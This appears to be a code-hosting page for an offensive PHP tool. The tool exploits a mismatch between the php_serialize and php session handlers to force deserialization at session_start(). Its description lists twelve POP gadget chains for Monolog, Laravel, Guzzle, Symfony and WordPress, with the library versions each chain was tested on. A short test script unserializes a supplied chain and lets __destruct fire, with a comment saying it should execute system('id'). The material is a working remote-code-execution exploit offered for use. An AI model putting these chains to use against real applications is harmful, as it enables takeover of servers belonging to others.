Exploits the interaction between php_serialize and php session handlers: when one endpoint writes sessions with php_serialize (Laravel, Symfony default) and another reads with the php handler (PHP default), injected pipe characters cause arbitrary deserialization at session_start(). 12 built-in POP chains covering current and legacy library versions: - monolog3-fw: Monolog 3.0+ (tested 3.12.1, latest) - laravel10-cmd/fw: illuminate 10.0-13.x+ (tested v13.38.0, latest) - monolog-cmd/fw: Monolog 1.17.2-2.x - laravel-cmd/fw: illuminate 5.4-8.x - guzzle-fw: Guzzle 4.0-7.x - symfony-cmd/fw: Symfony 2.6-4.4.18 - wordpress-cmd/fw: WordPress 6.4.0-6.4.1 All chains tested end-to-end through the full HTTP exploit flow on PHP 8.3. Accepts custom phpggc chains via --chain-file.
23 lines
631 B
PHP
23 lines
631 B
PHP
<?php
|
|
/**
|
|
* Direct deserialization test: loads Monolog, unserializes the chain,
|
|
* lets __destruct fire. Should execute system('id').
|
|
*/
|
|
require __DIR__ . '/vendor/autoload.php';
|
|
|
|
$payload = base64_decode($argv[1] ?? '');
|
|
if (!$payload) {
|
|
fwrite(STDERR, "Usage: php test_chain.php <base64_chain>\n");
|
|
exit(1);
|
|
}
|
|
|
|
fwrite(STDERR, "Payload length: " . strlen($payload) . "\n");
|
|
fwrite(STDERR, "Unserializing...\n");
|
|
|
|
$obj = unserialize($payload);
|
|
|
|
fwrite(STDERR, "Object type: " . get_class($obj) . "\n");
|
|
fwrite(STDERR, "Letting __destruct fire (end of script)...\n");
|
|
|
|
// __destruct fires here when $obj goes out of scope
|